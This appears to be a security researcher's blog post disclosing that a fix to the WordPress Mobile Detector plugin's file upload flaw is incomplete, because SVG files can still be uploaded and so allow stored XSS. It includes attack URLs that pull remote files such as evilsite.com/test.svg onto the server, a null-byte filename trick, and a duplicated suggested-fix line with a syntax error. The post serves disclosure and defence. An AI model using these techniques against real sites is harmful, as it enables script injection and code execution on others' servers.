Wordpress Mobile Detector Incorrect Fix Leads To Stored XSS
Soon after the vulnerability became public, the plugin was taken down from wordpress directory until the issue was fixed. However, as per my analysis the fix is incomplete and leads to stored XSS.
The Vulnerability
Let's discuss about the initial vulnerability first. The following PHP code takes input via src parameter (GET or POST) and checks for the existence of the file. If it exists, appropriate content-type header is set.
Code
if (isset($_REQUEST['src'])) { $path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
if(file_exists($path)){
.
.
.
.
file_put_contents($path, file_get_contents($_REQUEST['src']));
?>
It then utilizes the file_get_contents function in order to fetch file contents from a URL and upload it to the webhost under cache directory. Please note that, this is only possible if allow_url_fopen is enable upon the server which limits the effectiveness and impact of the exploit. The problem with the above code is that the code does not perform any check for extensions that are allowed. So, in case if an can fetch/execute PHP, ASPX code it results in a code execution.
The (incomplete) Fix
The following fix was implemented which defined a whitelist of all extensions that are acceptable (primarily images). The code checks if the requested file ends with the whitelisted extensions before they are fetched and uploaded.
.
.
.
.
.
$acceptable_extensions = ['png','gif','jpg','jpeg','jif','jfif','svg'];
$info = pathinfo($_REQUEST['src']);
// Check file extension
if(in_array($info['extension'],$acceptable_extensions)){
file_put_contents($path, file_get_contents($_REQUEST['src']));
?>
The problem with the above fix is that it whitelists "svg" extension. It is a widely known fact that svg images can execute JavaScript.
Using SVG To Trigger Stored XSS
In order to demonstrate the finding, The following svg file would be hosted on a Remote Server.
test.svg
This image once requested via "src" parameter will be saved to cache directory:
http://www.example.com/wp-content/plugins/wp-mobile-detector/resize.php?src=evilsite.com/test.svg
Upon visiting the uploaded image:
http://www.example.com/wp-content/plugins/wp-mobile-detector/cache/test.svg
Other Attack Possibilities
i) In case where path finishes with an allowed extensions there is an attack possibility - victim.com/test.php/test.jpg.
ii) In older version of PHP, it is possible to append a nullbyte and tricking the server into uploading a malicious PHP file. Example - http://evil.com/malicious.php.svg
iii) In case if Display_errors is set to true in php.ini file. The file_get_contents() function can be utilized for . A similar issue was discovered by me in the year 2013. You can refer to the following blog post - phpThumb Server Side Request Forgery
iv) In case where path finishes with an allowed extensions there is an attack possibility - victim.com/test.php/test.jpg.
v) Even allowing external users to fetch and upload images can external images might introduce issues such as someone can host porn images and tarnish companies reputation, someone can deliberately upload a copyrighted image and sue the company, since there is no limit to the number of images one can upload, one can still attempt to exhaust server resources by uploading tons of images.
Suggested Fix For Vendor
i) The suggested fix is removing the "svg" extension from whitelist
$acceptable_extensions = ['png','gif','jpg','jpeg','jif','jfif''];
$acceptable_extensions = ['png','gif','jpg','jpeg','jif','jfif''];
ii) File names should be re-written after they are uploaded, so that their location may not be guessed. along with directory listing should also be disabled.
Suggested Fix For Webmasters
iii) Server administrators should modify the .htaccess file to only support allowed extensions. and prevent accessing other files.
iv) Content-Type-Options: nosniff header to prevent exploiting the site using SWF file with .jpg extension for example - https://github.com/nccgroup/CrossSiteContentHijacking.
v) Content-Disposition header should be utilized.
Thanks for Soroush Dallili from NCC group and Daniel Sid from Sucuri for tipping off.